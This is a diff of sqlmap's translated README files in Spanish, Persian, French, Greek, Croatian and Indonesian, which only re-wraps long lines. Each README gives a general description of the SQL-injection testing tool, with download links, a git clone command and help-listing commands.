[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
sqlmap es una herramienta para pruebas de penetración "penetration testing" de software libre que automatiza el proceso de detección y explotación de fallos mediante inyección de SQL además de tomar el control de servidores de bases de datos. Contiene un poderoso motor de detección, así como muchas de las funcionalidades escenciales para el "pentester" y una amplia gama de opciones desde la recopilación de información para identificar el objetivo conocido como "fingerprinting" mediante la extracción de información de la base de datos, hasta el acceso al sistema de archivos subyacente para ejecutar comandos en el sistema operativo a través de conexiones alternativas conocidas como "Out-of-band". sqlmap es una herramienta para pruebas de penetración "penetration testing" de software libre que automatiza el proceso
de detección y explotación de fallos mediante inyección de SQL además de tomar el control de servidores de bases de
datos. Contiene un poderoso motor de detección, así como muchas de las funcionalidades escenciales para el "pentester" y
una amplia gama de opciones desde la recopilación de información para identificar el objetivo conocido como "
fingerprinting" mediante la extracción de información de la base de datos, hasta el acceso al sistema de archivos
subyacente para ejecutar comandos en el sistema operativo a través de conexiones alternativas conocidas como "
Out-of-band".
Capturas de Pantalla Capturas de Pantalla
--- ---
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
Visita la [colección de capturas de pantalla](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) que demuestra algunas de las características en la documentación(wiki). Visita la [colección de capturas de pantalla](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) que demuestra
algunas de las características en la documentación(wiki).
Instalación Instalación
--- ---
Se puede descargar el "tarball" más actual haciendo clic [aquí](https://github.com/sqlmapproject/sqlmap/tarball/master) o el "zipball" [aquí](https://github.com/sqlmapproject/sqlmap/zipball/master). Se puede descargar el "tarball" más actual haciendo clic [aquí](https://github.com/sqlmapproject/sqlmap/tarball/master)
o el "zipball" [aquí](https://github.com/sqlmapproject/sqlmap/zipball/master).
Preferentemente, se puede descargar sqlmap clonando el repositorio [Git](https://github.com/sqlmapproject/sqlmap): Preferentemente, se puede descargar sqlmap clonando el repositorio [Git](https://github.com/sqlmapproject/sqlmap):
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap funciona con las siguientes versiones de [Python](https://www.python.org/download/) **2.6**, **2.7** y **3.x** en cualquier plataforma. sqlmap funciona con las siguientes versiones de [Python](https://www.python.org/download/) **2.6**, **2.7** y **3.x** en
cualquier plataforma.
Uso Uso
--- ---
Para obtener una lista de opciones básicas: Para obtener una lista de opciones básicas:
python sqlmap.py -h python sqlmap.py -h
@ -33,13 +42,16 @@ Para obtener una lista de todas las opciones:
python sqlmap.py -hh python sqlmap.py -hh
Se puede encontrar una muestra de su funcionamiento [aquí](https://asciinema.org/a/46601). Se puede encontrar una muestra de su funcionamiento [aquí](https://asciinema.org/a/46601).
Para obtener una visión general de las capacidades de sqlmap, así como un listado funciones soportadas y descripción de todas las opciones y modificadores, junto con ejemplos, se recomienda consultar el [manual de usuario](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Para obtener una visión general de las capacidades de sqlmap, así como un listado funciones soportadas y descripción de
todas las opciones y modificadores, junto con ejemplos, se recomienda consultar
el [manual de usuario](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Enlaces Enlaces
--- ---
* Página principal: https://sqlmap.org * Página principal: https://sqlmap.org
* Descargar: [. tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) o [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Descargar: [. tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master)
o [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Fuente de Cambios "Commit RSS feed": https://github.com/sqlmapproject/sqlmap/commits/master.atom * Fuente de Cambios "Commit RSS feed": https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Seguimiento de problemas "Issue tracker": https://github.com/sqlmapproject/sqlmap/issues * Seguimiento de problemas "Issue tracker": https://github.com/sqlmapproject/sqlmap/issues
* Manual de usuario: https://github.com/sqlmapproject/sqlmap/wiki * Manual de usuario: https://github.com/sqlmapproject/sqlmap/wiki

View File

@ -7,7 +7,10 @@
برنامه `sqlmap`، یک برنامه‌ی تست نفوذ منبع باز است که فرآیند تشخیص و اکسپلویت پایگاه های داده با مشکل امنیتی SQL Injection را بطور خودکار انجام می دهد. این برنامه مجهز به موتور تشخیص قدرتمندی می‌باشد. همچنین داری طیف گسترده‌ای از اسکریپت ها می‌باشد که برای متخصصان تست نفوذ کار کردن با بانک اطلاعاتی را راحتر می‌کند. از جمع اوری اطلاعات درباره بانک داده تا دسترسی به داده های سیستم و اجرا دستورات از طریق ارتباط Out Of Band درسیستم عامل را امکان پذیر می‌کند. برنامه `sqlmap`، یک برنامه‌ی تست نفوذ منبع باز است که فرآیند تشخیص و اکسپلویت پایگاه های داده با مشکل امنیتی SQL
Injection را بطور خودکار انجام می دهد. این برنامه مجهز به موتور تشخیص قدرتمندی می‌باشد. همچنین داری طیف گسترده‌ای از
اسکریپت ها می‌باشد که برای متخصصان تست نفوذ کار کردن با بانک اطلاعاتی را راحتر می‌کند. از جمع اوری اطلاعات درباره بانک
داده تا دسترسی به داده های سیستم و اجرا دستورات از طریق ارتباط Out Of Band درسیستم عامل را امکان پذیر می‌کند.
تصویر محیط ابزار تصویر محیط ابزار
@ -23,13 +26,16 @@
<div dir=rtl> <div dir=rtl>
برای نمایش [مجموعه ای از اسکریپت‌ها](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) می‌توانید از دانشنامه دیدن کنید. برای نمایش [مجموعه ای از اسکریپت‌ها](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) می‌توانید از دانشنامه
دیدن کنید.
نصب نصب
---- ----
برای دانلود اخرین نسخه tarball، با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/tarball/master) یا دانلود اخرین نسخه zipball با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/zipball/master) میتوانید این کار را انجام دهید. برای دانلود اخرین نسخه tarball، با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/tarball/master) یا دانلود
اخرین نسخه zipball با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/zipball/master) میتوانید این کار را انجام
دهید.
نحوه استفاده نحوه استفاده
@ -42,39 +48,35 @@
<div dir=ltr> <div dir=ltr>
``` ```
python sqlmap.py -h python sqlmap.py -h
``` ```
<div dir=rtl> <div dir=rtl>
برای دریافت لیست تمامی ارگومان‌ها می‌توانید از دستور زیر استفاده کنید: برای دریافت لیست تمامی ارگومان‌ها می‌توانید از دستور زیر استفاده کنید:
<div dir=ltr> <div dir=ltr>
``` ```
python sqlmap.py -hh python sqlmap.py -hh
``` ```
<div dir=rtl>
برای اجرای سریع و ساده ابزار می توانید از [اینجا](https://asciinema.org/a/46601) استفاده کنید. برای دریافت اطلاعات بیشتر در رابطه با قابلیت ها ، امکانات قابل پشتیبانی و لیست کامل امکانات و دستورات همراه با مثال می‌ توانید به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید. <div dir=rtl>
برای اجرای سریع و ساده ابزار می توانید از [اینجا](https://asciinema.org/a/46601) استفاده کنید. برای دریافت اطلاعات بیشتر
در رابطه با قابلیت ها ، امکانات قابل پشتیبانی و لیست کامل امکانات و دستورات همراه با مثال می‌ توانید
به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید.
لینک‌ها لینک‌ها
---- ----
* خانه: https://sqlmap.org * خانه: https://sqlmap.org
* دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) یا [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master)
یا [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom * نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* پیگیری مشکلات: https://github.com/sqlmapproject/sqlmap/issues * پیگیری مشکلات: https://github.com/sqlmapproject/sqlmap/issues
* راهنمای کاربران: https://github.com/sqlmapproject/sqlmap/wiki * راهنمای کاربران: https://github.com/sqlmapproject/sqlmap/wiki

View File

@ -2,24 +2,32 @@
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
**sqlmap** est un outil Open Source de test d'intrusion. Cet outil permet d'automatiser le processus de détection et d'exploitation des failles d'injection SQL afin de prendre le contrôle des serveurs de base de données. __sqlmap__ dispose d'un puissant moteur de détection utilisant les techniques les plus récentes et les plus dévastatrices de tests d'intrusion comme L'Injection SQL, qui permet d'accéder à la base de données, au système de fichiers sous-jacent et permet aussi l'exécution des commandes sur le système d'exploitation. **sqlmap** est un outil Open Source de test d'intrusion. Cet outil permet d'automatiser le processus de détection et d'
exploitation des failles d'injection SQL afin de prendre le contrôle des serveurs de base de données. __sqlmap__ dispose
d'un puissant moteur de détection utilisant les techniques les plus récentes et les plus dévastatrices de tests d'
intrusion comme L'Injection SQL, qui permet d'accéder à la base de données, au système de fichiers sous-jacent et permet
aussi l'exécution des commandes sur le système d'exploitation.
---- ----
![Les Captures d'écran](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) ![Les Captures d'écran](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
Les captures d'écran disponible [ici](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) démontrent des fonctionnalités de __sqlmap__. Les captures d'écran disponible [ici](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) démontrent des
fonctionnalités de __sqlmap__.
Installation Installation
---- ----
Vous pouvez télécharger le fichier "tarball" le plus récent en cliquant [ici](https://github.com/sqlmapproject/sqlmap/tarball/master). Vous pouvez aussi télécharger l'archive zip la plus récente [ici](https://github.com/sqlmapproject/sqlmap/zipball/master). Vous pouvez télécharger le fichier "tarball" le plus récent en
cliquant [ici](https://github.com/sqlmapproject/sqlmap/tarball/master). Vous pouvez aussi télécharger l'archive zip la
plus récente [ici](https://github.com/sqlmapproject/sqlmap/zipball/master).
De préférence, télécharger __sqlmap__ en le [clonant](https://github.com/sqlmapproject/sqlmap): De préférence, télécharger __sqlmap__ en le [clonant](https://github.com/sqlmapproject/sqlmap):
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.6**, **2.7** et **3.x** de [Python](https://www.python.org/download/) sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.6**, **2.7** et **3.x**
de [Python](https://www.python.org/download/)
Utilisation Utilisation
---- ----
@ -33,13 +41,16 @@ Pour afficher une liste complète des options et des commutateurs (switches), ta
python sqlmap.py -hh python sqlmap.py -hh
Vous pouvez regarder une vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples. Vous pouvez regarder une vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de
toutes les options, ainsi que des exemples, nous vous recommandons de
consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Liens Liens
---- ----
* Page d'acceuil: https://sqlmap.org * Page d'acceuil: https://sqlmap.org
* Téléchargement: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Téléchargement: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master)
ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Suivi des issues: https://github.com/sqlmapproject/sqlmap/issues * Suivi des issues: https://github.com/sqlmapproject/sqlmap/issues
* Manuel de l'utilisateur: https://github.com/sqlmapproject/sqlmap/wiki * Manuel de l'utilisateur: https://github.com/sqlmapproject/sqlmap/wiki

View File

@ -2,25 +2,34 @@
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
Το sqlmap είναι πρόγραμμα ανοιχτού κώδικα, που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου SQL Injection σε βάσεις δεδομένων. Έρχεται με μια δυνατή μηχανή αναγνώρισης ευπαθειών, πολλά εξειδικευμένα χαρακτηριστικά για τον απόλυτο penetration tester όπως και με ένα μεγάλο εύρος επιλογών αρχίζοντας από την αναγνώριση της βάσης δεδομένων, κατέβασμα δεδομένων της βάσης, μέχρι και πρόσβαση στο βαθύτερο σύστημα αρχείων και εκτέλεση εντολών στο απευθείας στο λειτουργικό μέσω εκτός ζώνης συνδέσεων. Το sqlmap είναι πρόγραμμα ανοιχτού κώδικα, που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου SQL Injection
σε βάσεις δεδομένων. Έρχεται με μια δυνατή μηχανή αναγνώρισης ευπαθειών, πολλά εξειδικευμένα χαρακτηριστικά για τον
απόλυτο penetration tester όπως και με ένα μεγάλο εύρος επιλογών αρχίζοντας από την αναγνώριση της βάσης δεδομένων,
κατέβασμα δεδομένων της βάσης, μέχρι και πρόσβαση στο βαθύτερο σύστημα αρχείων και εκτέλεση εντολών στο απευθείας στο
λειτουργικό μέσω εκτός ζώνης συνδέσεων.
Εικόνες Εικόνες
---- ----
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
Μπορείτε να επισκεφτείτε τη [συλλογή από εικόνες](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) που επιδεικνύουν κάποια από τα χαρακτηριστικά. Μπορείτε να επισκεφτείτε τη [συλλογή από εικόνες](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) που
επιδεικνύουν κάποια από τα χαρακτηριστικά.
Εγκατάσταση Εγκατάσταση
---- ----
Έχετε τη δυνατότητα να κατεβάσετε την τελευταία tarball πατώντας [εδώ](https://github.com/sqlmapproject/sqlmap/tarball/master) ή την τελευταία zipball πατώντας [εδώ](https://github.com/sqlmapproject/sqlmap/zipball/master). Έχετε τη δυνατότητα να κατεβάσετε την τελευταία tarball
πατώντας [εδώ](https://github.com/sqlmapproject/sqlmap/tarball/master) ή την τελευταία zipball
πατώντας [εδώ](https://github.com/sqlmapproject/sqlmap/zipball/master).
Κατά προτίμηση, μπορείτε να κατεβάσετε το sqlmap κάνοντας κλώνο το [Git](https://github.com/sqlmapproject/sqlmap) αποθετήριο: Κατά προτίμηση, μπορείτε να κατεβάσετε το sqlmap κάνοντας κλώνο το [Git](https://github.com/sqlmapproject/sqlmap)
αποθετήριο:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](https://www.python.org/download/) έκδοσης **2.6**, **2.7** και **3.x** σε όποια πλατφόρμα. Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](https://www.python.org/download/) έκδοσης **2.6**, **2.7** και
**3.x** σε όποια πλατφόρμα.
Χρήση Χρήση
---- ----
@ -34,13 +43,16 @@
python sqlmap.py -hh python sqlmap.py -hh
Μπορείτε να δείτε ένα δείγμα λειτουργίας του προγράμματος [εδώ](https://asciinema.org/a/46601). Μπορείτε να δείτε ένα δείγμα λειτουργίας του προγράμματος [εδώ](https://asciinema.org/a/46601).
Για μια γενικότερη άποψη των δυνατοτήτων του sqlmap, μια λίστα των υποστηριζόμενων χαρακτηριστικών και περιγραφή για όλες τις επιλογές, μαζί με παραδείγματα, καλείστε να συμβουλευτείτε το [εγχειρίδιο χρήστη](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Για μια γενικότερη άποψη των δυνατοτήτων του sqlmap, μια λίστα των υποστηριζόμενων χαρακτηριστικών και περιγραφή για
όλες τις επιλογές, μαζί με παραδείγματα, καλείστε να συμβουλευτείτε
το [εγχειρίδιο χρήστη](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Σύνδεσμοι Σύνδεσμοι
---- ----
* Αρχική σελίδα: https://sqlmap.org * Αρχική σελίδα: https://sqlmap.org
* Λήψεις: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ή [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Λήψεις: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master)
ή [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Προβλήματα: https://github.com/sqlmapproject/sqlmap/issues * Προβλήματα: https://github.com/sqlmapproject/sqlmap/issues
* Εγχειρίδιο Χρήστη: https://github.com/sqlmapproject/sqlmap/wiki * Εγχειρίδιο Χρήστη: https://github.com/sqlmapproject/sqlmap/wiki

View File

@ -2,25 +2,32 @@
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
sqlmap je alat namijenjen za penetracijsko testiranje koji automatizira proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije te preuzimanje poslužitelja baze podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko dohvaćanja podataka iz baze, do pristupa zahvaćenom datotečnom sustavu i izvršavanja komandi na operacijskom sustavu korištenjem tzv. "out-of-band" veza. sqlmap je alat namijenjen za penetracijsko testiranje koji automatizira proces detekcije i eksploatacije sigurnosnih
propusta SQL injekcije te preuzimanje poslužitelja baze podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom
korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka,
preko dohvaćanja podataka iz baze, do pristupa zahvaćenom datotečnom sustavu i izvršavanja komandi na operacijskom
sustavu korištenjem tzv. "out-of-band" veza.
Slike zaslona Slike zaslona
---- ----
![Slika zaslona](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) ![Slika zaslona](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
Možete posjetiti [kolekciju slika zaslona](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) gdje se demonstriraju neke od značajki na wiki stranicama. Možete posjetiti [kolekciju slika zaslona](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) gdje se
demonstriraju neke od značajki na wiki stranicama.
Instalacija Instalacija
---- ----
Možete preuzeti zadnji tarball klikom [ovdje](https://github.com/sqlmapproject/sqlmap/tarball/master) ili zadnji zipball klikom [ovdje](https://github.com/sqlmapproject/sqlmap/zipball/master). Možete preuzeti zadnji tarball klikom [ovdje](https://github.com/sqlmapproject/sqlmap/tarball/master) ili zadnji zipball
klikom [ovdje](https://github.com/sqlmapproject/sqlmap/zipball/master).
Po mogućnosti, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sqlmapproject/sqlmap) repozitorija: Po mogućnosti, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sqlmapproject/sqlmap) repozitorija:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap radi bez posebnih zahtjeva korištenjem [Python](https://www.python.org/download/) verzije **2.6**, **2.7** i/ili **3.x** na bilo kojoj platformi. sqlmap radi bez posebnih zahtjeva korištenjem [Python](https://www.python.org/download/) verzije **2.6**, **2.7** i/ili
**3.x** na bilo kojoj platformi.
Korištenje Korištenje
---- ----
@ -34,13 +41,15 @@ Kako biste dobili listu svih opcija i prekidača koristite:
python sqlmap.py -hh python sqlmap.py -hh
Možete pronaći primjer izvršavanja [ovdje](https://asciinema.org/a/46601). Možete pronaći primjer izvršavanja [ovdje](https://asciinema.org/a/46601).
Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih značajki te opis svih opcija i prekidača, zajedno s primjerima, preporučen je uvid u [korisnički priručnik](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih značajki te opis svih opcija i prekidača, zajedno s
primjerima, preporučen je uvid u [korisnički priručnik](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Poveznice Poveznice
---- ----
* Početna stranica: https://sqlmap.org * Početna stranica: https://sqlmap.org
* Preuzimanje: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ili [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Preuzimanje: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master)
ili [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* RSS feed promjena u kodu: https://github.com/sqlmapproject/sqlmap/commits/master.atom * RSS feed promjena u kodu: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Prijava problema: https://github.com/sqlmapproject/sqlmap/issues * Prijava problema: https://github.com/sqlmapproject/sqlmap/issues
* Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki * Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki

View File

@ -2,25 +2,32 @@
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basis data. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur handal bagi _penetration tester_, beragam cara untuk mendeteksi basis data, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan
eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basis data. sqlmap dilengkapi dengan pendeteksi
canggih, fitur-fitur handal bagi _penetration tester_, beragam cara untuk mendeteksi basis data, hingga mengakses _file
system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_.
Tangkapan Layar Tangkapan Layar
---- ----
![Tangkapan Layar](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) ![Tangkapan Layar](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
Anda dapat mengunjungi [koleksi tangkapan layar](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) yang mendemonstrasikan beberapa fitur dalam wiki. Anda dapat mengunjungi [koleksi tangkapan layar](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) yang
mendemonstrasikan beberapa fitur dalam wiki.
Instalasi Instalasi
---- ----
Anda dapat mengunduh tarball versi terbaru [di sini](https://github.com/sqlmapproject/sqlmap/tarball/master) atau zipball [di sini](https://github.com/sqlmapproject/sqlmap/zipball/master). Anda dapat mengunduh tarball versi terbaru [di sini](https://github.com/sqlmapproject/sqlmap/tarball/master) atau
zipball [di sini](https://github.com/sqlmapproject/sqlmap/zipball/master).
Sebagai alternatif, Anda dapat mengunduh sqlmap dengan men-_clone_ repositori [Git](https://github.com/sqlmapproject/sqlmap): Sebagai alternatif, Anda dapat mengunduh sqlmap dengan men-_clone_
repositori [Git](https://github.com/sqlmapproject/sqlmap):
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap berfungsi langsung pada [Python](https://www.python.org/download/) versi **2.6**, **2.7** dan **3.x** pada platform apapun. sqlmap berfungsi langsung pada [Python](https://www.python.org/download/) versi **2.6**, **2.7** dan **3.x** pada
platform apapun.
Penggunaan Penggunaan
---- ----
@ -34,13 +41,15 @@ Untuk mendapatkan daftar opsi lanjut gunakan:
python sqlmap.py -hh python sqlmap.py -hh
Anda dapat mendapatkan contoh penggunaan [di sini](https://asciinema.org/a/46601). Anda dapat mendapatkan contoh penggunaan [di sini](https://asciinema.org/a/46601).
